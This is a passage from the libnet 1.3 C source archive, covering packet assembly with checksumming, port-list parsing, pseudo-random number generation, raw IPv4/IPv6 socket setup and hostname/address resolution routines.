LIBNET_PBLOCK_802_3_H)) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): packet assembly cannot find a layer 2 header", __func__); goto err; } break; case LIBNET_RAW4: if ((l->pblock_end->type != LIBNET_PBLOCK_IPV4_H)) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): packet assembly cannot find an IPv4 header", __func__); goto err; } break; case LIBNET_RAW6: if ((l->pblock_end->type != LIBNET_PBLOCK_IPV6_H)) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): packet assembly cannot find an IPv6 header", __func__); goto err; } break; default: /* we should not end up here ever */ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): suddenly the dungeon collapses -- you die", __func__); goto err; break; } } /* Build packet from end to start. */ { /* From top to bottom, go through pblocks pairwise: p is the currently being copied pblock, and steps through every block q is the prev pblock to p that needs checksumming, it will not step through every block as p does, it will skip any that do not need checksumming. n offset from start of packet to beginning of block we are writing q is NULL on first iteration p is NULL on last iteration Checksums are done on q, to give p a chance to be copied over, since checksumming q can require a lower-level header to be encoded, in the case of IP protocols (which are the only kinds handled by libnet's checksum implementation). This is very obscure, or would be much more clear if it was done in two loops. */ libnet_pblock_t *q = NULL; libnet_pblock_t *p = NULL; uint32_t n; for (n = l->aligner + l->total_size, p = l->protocol_blocks; p || q; ) { if (q) { p = p->next; } if (p) { n -= p->b_len; /* copy over the packet chunk */ memcpy(*packet + n, p->buf, p->b_len); } #if 0 printf("-- n %d/%d cksum? %d\n", n, l->aligner + l->total_size, q && (p == NULL || (p->flags & LIBNET_PBLOCK_DO_CHECKSUM)) && (q->flags & LIBNET_PBLOCK_DO_CHECKSUM)); if(q) { printf(" iph %d/%d offset -%d\n", (l->total_size + l->aligner) - q->ip_offset, l->total_size + l->aligner, q->ip_offset ); } if (p) { printf("p %p ptag %d b_len %d h_len %d cksum? %d type %s\n", p, p->ptag, p->b_len, p->h_len, p->flags & LIBNET_PBLOCK_DO_CHECKSUM, libnet_diag_dump_pblock_type(p->type) ); } if (q) { printf("q %p ptag %d b_len %d h_len %d cksum? %d type %s\n", q, q->ptag, q->b_len, q->h_len, q->flags & LIBNET_PBLOCK_DO_CHECKSUM, libnet_diag_dump_pblock_type(q->type) ); } #endif if (q) { if (p == NULL || (p->flags & LIBNET_PBLOCK_DO_CHECKSUM)) { if (q->flags & LIBNET_PBLOCK_DO_CHECKSUM) { uint8_t* end = *packet + l->aligner + l->total_size; uint8_t* beg = *packet + n; int ip_offset = calculate_ip_offset(l, q); uint8_t* iph = end - ip_offset; #if 0 printf("p %d/%s q %d/%s offset calculated %d\n", p ? p->ptag : -1, p ? libnet_diag_dump_pblock_type(p->type) : "nil", q->ptag, libnet_diag_dump_pblock_type(q->type), ip_offset); #endif if (libnet_inet_checksum(l, iph, libnet_pblock_p2p(q->type), q->h_len, beg, end) == -1) { /* err msg set in libnet_do_checksum() */ goto err; } } q = p; } } else { q = p; } } } *size = l->aligner + l->total_size; /* * Set the packet pointer to the true beginning of the packet and set * the size for transmission. */ if ((l->injection_type == LIBNET_LINK || l->injection_type == LIBNET_LINK_ADV) && l->aligner) { *packet += l->aligner; *size -= l->aligner; } return (1); err: free(*packet); *packet = NULL; return (-1); } void libnet_pblock_delete(libnet_t *l, libnet_pblock_t *p) { if (p) { l->total_size -= p->b_len; l->n_pblocks--; libnet_pblock_remove_from_list(l, p); if (p->buf) { free(p->buf); p->buf = NULL; } free(p); } } int libnet_pblock_p2p(uint8_t type) { /* for checksum; return the protocol number given a pblock type*/ switch (type) { case LIBNET_PBLOCK_CDP_H: return (LIBNET_PROTO_CDP); case LIBNET_PBLOCK_ICMPV4_H: case LIBNET_PBLOCK_ICMPV4_ECHO_H: case LIBNET_PBLOCK_ICMPV4_MASK_H: case LIBNET_PBLOCK_ICMPV4_UNREACH_H: case LIBNET_PBLOCK_ICMPV4_TIMXCEED_H: case LIBNET_PBLOCK_ICMPV4_REDIRECT_H: case LIBNET_PBLOCK_ICMPV4_TS_H: return (IPPROTO_ICMP); case LIBNET_PBLOCK_ICMPV6_H: case LIBNET_PBLOCK_ICMPV6_ECHO_H: case LIBNET_PBLOCK_ICMPV6_UNREACH_H: case LIBNET_PBLOCK_ICMPV6_NDP_NSOL_H: case LIBNET_PBLOCK_ICMPV6_NDP_NADV_H: return (IPPROTO_ICMPV6); case LIBNET_PBLOCK_IGMP_H: return (IPPROTO_IGMP); case LIBNET_PBLOCK_IPV4_H: return (IPPROTO_IP); case LIBNET_PBLOCK_IPV6_H: return (IPPROTO_IPV6); case LIBNET_ISL_H: return (LIBNET_PROTO_ISL); case LIBNET_PBLOCK_OSPF_H: return (IPPROTO_OSPF); case LIBNET_PBLOCK_LS_RTR_H: return (IPPROTO_OSPF_LSA); case LIBNET_PBLOCK_TCP_H: return (IPPROTO_TCP); case LIBNET_PBLOCK_UDP_H: return (IPPROTO_UDP); case LIBNET_PBLOCK_VRRP_H: return (IPPROTO_VRRP); case LIBNET_PBLOCK_GRE_H: return (IPPROTO_GRE); case LIBNET_PBLOCK_UDLD_H: return (LIBNET_PROTO_UDLD); default: return (-1); } } void libnet_pblock_record_ip_offset(libnet_t *l, libnet_pblock_t *p) { (void) l; (void) p; /* For backwards compatibility, libnet_pblock_t no longer includes an ip_offset, so calling this is unnecessary. */ } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_port_list.c0000664000175000017500000001661414506572036015375 0ustar syqsyq/* * $Id: libnet_port_list.c,v 1.10 2004/01/28 19:45:00 mike Exp $ * * libnet * libnet_port_list.c - transport layer port list chaining code * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" uint16_t *all_lists; int libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, char *token_list) { char libnet_plist_legal_tokens[] = "0123456789,- "; libnet_plist_t *tmp; char *tok; int i, valid_token, cur_node; size_t j; uint16_t *all_lists_tmp; static uint8_t cur_id; if (l == NULL) { return (-1); } if (token_list == NULL) { return (-1); } /* * Make sure we have legal tokens. */ for (i = 0; token_list[i]; i++) { for (j = 0, valid_token = 0; libnet_plist_legal_tokens[j]; j++) { if (libnet_plist_legal_tokens[j] == token_list[i]) { valid_token = 1; break; } } if (!valid_token) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_build_plist_chain: illegal token # %d (%c)", i + 1, token_list[i]); *plist = NULL; return (-1); } } /* head node */ *plist = malloc(sizeof (libnet_plist_t)); if (!(*plist)) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_build_plist_chain: malloc %s", strerror(errno)); *plist = NULL; return (-1); } tmp = *plist; tmp->node = cur_node = 0; tmp->next = NULL; tmp->id = cur_id; all_lists_tmp = all_lists; all_lists = realloc(all_lists_tmp, (sizeof(uint16_t) * (cur_id + 1))); if (!all_lists) { all_lists = all_lists_tmp; snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_build_plist_chain: realloc %s", strerror(errno)); free(tmp); *plist = NULL; return(-1); } all_lists[cur_id++] = 0; /* * Using strtok successively proved problematic. We solve this by * calling it once, then manually extracting the elements from the token. * In the case of bport > eport, we swap them. */ for (i = 0; (tok = strtok(!i ? token_list : NULL, ",")); i = 1, cur_node++) { /* * The first iteration we will have a head node allocated so we don't * need to malloc(). */ if (i) { tmp->next = malloc(sizeof (libnet_plist_t)); if (!tmp->next) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "libnet_build_plist_chain: malloc %s", strerror(errno)); /* * XXX - potential memory leak if other nodes are allocated * but not freed. */ *plist = NULL; return(-1); } tmp = tmp->next; tmp->node = cur_node; tmp->next = NULL; } tmp->bport = atoi(tok); /* * Step past this port number. */ j = 0; while (isdigit((int)tok[j])) { j++; } /* * If we have a delimiting dash and are NOT at the end of the token * array, we can assume it's the end port, otherwise if we just have * a dash, we consider it int16_thand for `inclusive of all ports up to * 65535. Finally, if we have no dash, we assume this token is a * single port only. */ if (tok[j] == '-') { tmp->eport = (++j != strlen(tok)) ? atoi(&tok[j]) : 65535; } else { tmp->eport = tmp->bport; } /* * Do we need to swap the values? */ if (tmp->bport > tmp->eport) { tmp->bport ^= tmp->eport; tmp->eport ^= tmp->bport; tmp->bport ^= tmp->eport; } } /* * The head node needs to hold the total node count. */ (*plist)->node = cur_node; return (1); } int libnet_plist_chain_next_pair(libnet_plist_t *plist, uint16_t *bport, uint16_t *eport) { uint16_t *node_cnt; uint16_t tmp_cnt; if (plist == NULL) { return (-1); } node_cnt = &(all_lists[plist->id]); /* * We are at the end of the list. */ if (*node_cnt == plist->node) { *node_cnt = 0; *bport = 0; *eport = 0; return (0); } for (tmp_cnt = *node_cnt; tmp_cnt; tmp_cnt--, plist = plist->next) ; *bport = plist->bport; *eport = plist->eport; *node_cnt += 1; return (1); } int libnet_plist_chain_dump(libnet_plist_t *plist) { if (plist == NULL) { return (-1); } for (; plist; plist = plist->next) { if (plist->bport == plist->eport) { fprintf(stdout, "%d ", plist->bport); } else { fprintf(stdout, "%d-%d ", plist->bport, plist->eport); } } fprintf(stdout, "\n"); return (1); } char * libnet_plist_chain_dump_string(libnet_plist_t *plist) { char buf[BUFSIZ] = {0}; int i, j; if (plist == NULL) { return (NULL); } for (i = 0, j = 0; plist; plist = plist->next) { if (plist->bport == plist->eport) { i = snprintf(&buf[j], BUFSIZ-j, "%d", plist->bport); } else { i = snprintf(&buf[j], BUFSIZ-j, "%d-%d", plist->bport, plist->eport); } j += i; if (plist->next) { snprintf(&buf[j], BUFSIZ-j, ","); j++; } } return (strdup(buf)); /* XXX - reentrancy == no */ } int libnet_plist_chain_free(libnet_plist_t *plist) { uint16_t i; libnet_plist_t *tmp; if (plist == NULL) { return (-1); } for (i = plist->node; i; i--) { tmp = plist; plist = plist->next; free(tmp); } plist = NULL; return (1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_prand.c0000664000175000017500000000646014506572036014460 0ustar syqsyq/* * libnet * libnet_prand.c - pseudo-random number generation * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" #ifdef _WIN32 #include #include #else #include /* gettimeofday() */ #endif int libnet_seed_prand(libnet_t *l) { #ifndef WIN32 struct timeval seed; #endif if (l == NULL) { return (-1); } #ifdef WIN32 srand((unsigned)time(NULL)); #else if (gettimeofday(&seed, NULL) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): cannot gettimeofday", __func__); return (-1); } /* * More entropy then just seeding with time(2). */ srandom((unsigned)(seed.tv_sec ^ seed.tv_usec)); #endif return (1); } /* FIXME this code makes no sense. On unix we use random(), which * is intended to have no security, and under win32 we use cryptographically * strong entropy source? If necessary, why aren't we using /dev/random * on unix? What's going on here? */ uint32_t libnet_get_prand(int mod) { uint32_t n; /* 0 to 4,294,967,295 */ #ifndef WIN32 n = random(); #else HCRYPTPROV hProv = 0; CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); CryptGenRandom(hProv, sizeof(n), (BYTE*)&n); CryptReleaseContext(hProv, 0); #endif switch (mod) { case LIBNET_PR2: return (n & 0x1); /* 0 - 1 */ case LIBNET_PR8: return (n & 0xff); /* 0 - 255 */ case LIBNET_PR16: return (n & 0x7fff); /* 0 - 32767 */ case LIBNET_PRu16: return (n & 0xffff); /* 0 - 65535 */ case LIBNET_PR32: return (n & 0x7fffffff); /* 0 - 2147483647 */ case LIBNET_PRu32: return (n); /* 0 - 4294967295 */ } return (0); /* NOTTREACHED */ } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_raw.c0000664000175000017500000001253114506572036014141 0ustar syqsyq/* * $Id: libnet_raw.c,v 1.9 2004/02/18 18:19:00 mike Exp $ * * libnet * libnet_raw.c - raw sockets routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" #ifndef HAVE_SOCKLEN_T typedef int socklen_t; #endif /* TODO this doesn't make any sense, the code in the #else branch is littered with conditionals on __WIN32__ that are never reachable, what happened? */ #if defined (__WIN32__) int libnet_open_raw4(libnet_t *l) { return (libnet_open_link(l)); } int libnet_open_raw6(libnet_t *l) { return (libnet_open_link(l)); } int libnet_close_raw4(libnet_t *l) { return (libnet_close_link_interface(l)); } int libnet_close_raw6(libnet_t *l) { return (libnet_close_link_interface(l)); } #else static int libnet_finish_setup_socket(libnet_t *l) { #if !(__WIN32__) int n = 1; #if (__svr4__) void *nptr = &n; #else int *nptr = &n; #endif /* __svr4__ */ #else BOOL n; #endif unsigned len; #ifdef SO_BROADCAST /* * man 7 socket * * Set or get the broadcast flag. When enabled, datagram sockets * receive packets sent to a broadcast address and they are allowed * to send packets to a broadcast address. This option has no * effect on stream-oriented sockets. */ if (setsockopt(l->fd, SOL_SOCKET, SO_BROADCAST, nptr, sizeof(n)) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): set SO_BROADCAST failed: %s", __func__, strerror(errno)); goto bad; } #endif /* SO_BROADCAST */ #if (__linux__) if(l->device != NULL) if(setsockopt(l->fd, SOL_SOCKET, SO_BINDTODEVICE, l->device, strlen(l->device)) == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): set SO_BINDTODEVICE failed: %s", __func__, strerror(errno)); goto bad; } #endif /* __linux__ */ return 0; bad: return (-1); } int libnet_open_raw4(libnet_t *l) { #if !(__WIN32__) int n = 1; #if (__svr4__) void *nptr = &n; #else int *nptr = &n; #endif /* __svr4__ */ #else BOOL n; #endif if (l == NULL) { return (-1); } l->fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (l->fd == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): SOCK_RAW allocation failed: %s", __func__, strerror(errno)); goto bad; } #ifdef IP_HDRINCL /* * man raw * * The IPv4 layer generates an IP header when sending a packet unless * the IP_HDRINCL socket option is enabled on the socket. When it * is enabled, the packet must contain an IP header. For * receiving the IP header is always included in the packet. */ #if !(__WIN32__) if (setsockopt(l->fd, IPPROTO_IP, IP_HDRINCL, nptr, sizeof(n)) == -1) #else n = TRUE; if (setsockopt(l->fd, IPPROTO_IP, IP_HDRINCL, &n, sizeof(n)) == -1) #endif { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): set IP_HDRINCL failed: %s", __func__, strerror(errno)); goto bad; } #endif /* IP_HDRINCL */ if (libnet_finish_setup_socket(l) == -1) goto bad; return (l->fd); bad: return (-1); } int libnet_close_raw4(libnet_t *l) { if (l == NULL) { return (-1); } return (close(l->fd)); } #if ((defined HAVE_SOLARIS && !defined HAVE_SOLARIS_IPV6) || defined (__WIN32__)) int libnet_open_raw6(libnet_t *l) { return (-1); } #else int libnet_open_raw6(libnet_t *l) { if (l == NULL) { return (-1); } l->fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (l->fd == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): SOCK_RAW allocation failed: %s", __func__, strerror(errno)); goto bad; } if (libnet_finish_setup_socket(l) == -1) goto bad; return (l->fd); bad: return (-1); } #endif int libnet_close_raw6(libnet_t *l) { if (l == NULL) { return (-1); } return (close(l->fd)); } #endif /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_resolve.c0000664000175000017500000003050414506572036015027 0ustar syqsyq/* * libnet * libnet_resolve.c - various name resolution type routines * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" #ifndef HAVE_GETHOSTBYNAME2 struct hostent * gethostbyname2(const char *name, int af) { return gethostbyname(name); } #endif char * libnet_addr2name4(uint32_t in, uint8_t use_name) { #define HOSTNAME_SIZE 512 static char hostname[HOSTNAME_SIZE+1], hostname2[HOSTNAME_SIZE+1]; static uint16_t which; uint8_t *p; struct hostent *host_ent = NULL; struct in_addr addr; /* * Swap to the other buffer. We swap static buffers to avoid having to * pass in a int8_t *. This makes the code that calls this function more * intuitive, but makes this function ugly. This function is seriously * non-reentrant. For threaded applications (or for signal handler code) * use host_lookup_r(). */ which++; if (use_name == LIBNET_RESOLVE) { addr.s_addr = in; host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr), AF_INET); /* if this fails, we silently ignore the error and move to plan b! */ } if (!host_ent) { p = (uint8_t *)∈ snprintf(((which % 2) ? hostname : hostname2), HOSTNAME_SIZE, "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); } else if (use_name == LIBNET_RESOLVE) { char *ptr = ((which % 2) ? hostname : hostname2); strncpy(ptr, host_ent->h_name, HOSTNAME_SIZE); ptr[HOSTNAME_SIZE] = '\0'; } return (which % 2) ? (hostname) : (hostname2); } void libnet_addr2name4_r(uint32_t in, uint8_t use_name, char *hostname, int hostname_len) { uint8_t *p; struct hostent *host_ent = NULL; struct in_addr addr; if (use_name == LIBNET_RESOLVE) { addr.s_addr = in; host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr), AF_INET); } if (!host_ent) { p = (uint8_t *)∈ snprintf(hostname, hostname_len, "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); } else { strncpy(hostname, host_ent->h_name, hostname_len - 1); hostname[sizeof(hostname) - 1] = '\0'; } } uint32_t libnet_name2addr4(libnet_t *l, const char *host_name, uint8_t use_name) { struct in_addr addr; struct hostent *host_ent; uint32_t m; uint32_t val; int i; if (use_name == LIBNET_RESOLVE) { if ((addr.s_addr = inet_addr(host_name)) == INADDR_NONE) { if (!(host_ent = gethostbyname(host_name))) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %s", __func__, #if (_WIN32) "gethostbyname failure" #else /* FIXME doesn't exist on windows, needs WSAGetLastError()/FormatMessage */ hstrerror(h_errno) #endif ); /* XXX - this is actually 255.255.255.255 */ return (-1); } memcpy(&addr.s_addr, host_ent->h_addr, host_ent->h_length); } /* network byte order */ return (addr.s_addr); } else { /* * We only want dots 'n decimals. */ if (!isdigit(host_name[0])) { if (l) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): expecting dots and decimals", __func__); } /* XXX - this is actually 255.255.255.255 */ return (-1); } m = 0; for (i = 0; i < 4; i++) { m <<= 8; if (*host_name) { val = 0; while (*host_name && *host_name != '.') { val *= 10; val += *host_name - '0'; if (val > 255) { if (l) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): value greater than 255", __func__); } /* XXX - this is actually 255.255.255.255 */ return (-1); } host_name++; } m |= val; if (*host_name) { host_name++; } } } /* host byte order */ return (ntohl(m)); } } void libnet_addr2name6_r(struct libnet_in6_addr addr, uint8_t use_name, char *host_name, int host_name_len) { struct hostent *host_ent = NULL; if (use_name == LIBNET_RESOLVE) { #ifdef HAVE_SOLARIS #ifdef HAVE_SOLARIS_IPV6 host_ent = getipnodebyaddr((int8_t *)&addr, sizeof(struct in_addr), AF_INET6, NULL); #else /* XXX - Gah! Can't report error! */ host_ent = NULL; #endif #else host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr), AF_INET6); #endif } if (!host_ent) { #if !defined(__WIN32__) /* Silence Win32 warning */ inet_ntop(AF_INET6, &addr, host_name, host_name_len); #endif } else { strncpy(host_name, host_ent->h_name, host_name_len -1); host_name[sizeof(host_name) - 1] = '\0'; } } const struct libnet_in6_addr in6addr_error = IN6ADDR_ERROR_INIT; int libnet_in6_is_error(struct libnet_in6_addr addr) { return 0 == memcmp(&addr, &in6addr_error, sizeof(addr)); } struct libnet_in6_addr libnet_name2addr6(libnet_t *l, const char *host_name, uint8_t use_name) { #if !defined (__WIN32__) struct libnet_in6_addr addr; struct hostent *host_ent; #endif if (use_name == LIBNET_RESOLVE) { #ifdef __WIN32__ /* XXX - we don't support this yet */ if (l) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't resolve IPv6 addresses", __func__); } return (in6addr_error); #else #ifdef HAVE_SOLARIS #ifdef HAVE_SOLARIS_IPV6 if (!(host_ent = getipnodebyname((int8_t *)&addr, sizeof(struct in_addr), AF_INET6, NULL))) #else snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %s", __func__, strerror(errno)); return (in6addr_error); #endif #else if (!(host_ent = gethostbyname2(host_name, AF_INET6))) #endif { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %s", __func__, strerror(errno)); return (in6addr_error); } memcpy(&addr, host_ent->h_addr, host_ent->h_length); return (addr); #endif /* !__WIN32__ */ } else { #if defined(__WIN32__) /* Silence Win32 warning */ if (l) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): can't resolve IPv6 addresses.", __func__); } return (in6addr_error); #else if(!inet_pton(AF_INET6, host_name, &addr)) { if (l) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): invalid IPv6 address", __func__); } return (in6addr_error); } return (addr); #endif } } #ifdef HAVE_GETIFADDRS #include struct libnet_in6_addr libnet_get_ipaddr6(libnet_t *l) { struct ifaddrs *ifaddr, *p; struct libnet_in6_addr addr; if (l == NULL) { return (in6addr_error); } if (getifaddrs(&ifaddr) != 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): getifaddrs(): %s", __func__, strerror(errno)); return (in6addr_error); } if (l->device == NULL) { if (libnet_select_device(l) == -1) { /* error msg set in libnet_select_device() */ return (in6addr_error); } } for (p = ifaddr; p != NULL; p = p->ifa_next) { if ((strcmp(p->ifa_name, l->device) == 0) && (p->ifa_addr != NULL) && (p->ifa_addr->sa_family == AF_INET6)) { memcpy(&addr.__u6_addr, ((struct sockaddr_in6*)p->ifa_addr)->sin6_addr.s6_addr, 16); freeifaddrs(ifaddr); return (addr); } } freeifaddrs(ifaddr); return (in6addr_error); } #else struct libnet_in6_addr libnet_get_ipaddr6(libnet_t *l) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): not yet Implemented", __func__); return (in6addr_error); } #endif /* WIN32 */ #if !defined(__WIN32__) uint32_t libnet_get_ipaddr4(libnet_t *l) { struct ifreq ifr; struct sockaddr_in *sin; int fd; if (l == NULL) { return (-1); } /* create dummy socket to perform an ioctl upon */ fd = socket(PF_INET, SOCK_DGRAM, 0); if (fd == -1) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): socket(): %s", __func__, strerror(errno)); return (-1); } sin = (struct sockaddr_in *)&ifr.ifr_addr; if (l->device == NULL) { if (libnet_select_device(l) == -1) { /* error msg set in libnet_select_device() */ close(fd); return (-1); } } strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) -1); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; ifr.ifr_addr.sa_family = AF_INET; if (ioctl(fd, SIOCGIFADDR, (int8_t*) &ifr) < 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): ioctl(): %s", __func__, strerror(errno)); close(fd); return (-1); } close(fd); return (sin->sin_addr.s_addr); } #else #include uint32_t libnet_get_ipaddr4(libnet_t *l) { long npflen = 1; struct sockaddr_in sin; struct npf_if_addr ipbuff; memset(&sin,0,sizeof(sin)); memset(&ipbuff,0,sizeof(ipbuff)); if (PacketGetNetInfoEx(l->device, &ipbuff, &npflen)) { sin = *(struct sockaddr_in *)&ipbuff.IPAddress; } return (sin.sin_addr.s_addr); } #endif /* WIN32 */ uint8_t * libnet_hex_aton(const char *s, int *len) { uint8_t *buf; int i; int32_t l; char *pp; while (isspace(*s)) { s++; } for (i = 0, *len = 0; s[i]; i++) { if (s[i] == ':') { (*len)++; } } buf = malloc(*len + 1); if (buf == NULL) { return (NULL); } /* expect len hex octets separated by ':' */ for (i = 0; i < *len + 1; i++) { l = strtol(s, &pp, 16); if (pp == s || l > 0xff || l < 0) { *len = 0; free(buf); return (NULL); } if (!(*pp == ':' || (i == *len && (isspace(*pp) || *pp == '\0')))) { *len = 0; free(buf); return (NULL); } buf[i] = (uint8_t)l; s = pp + 1; } /* return int8_tacter after the octets ala strtol(3) */ (*len)++; return (buf); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_version.c0000664000175000017500000000336014506572036015035 0ustar syqsyq/* * $Id: 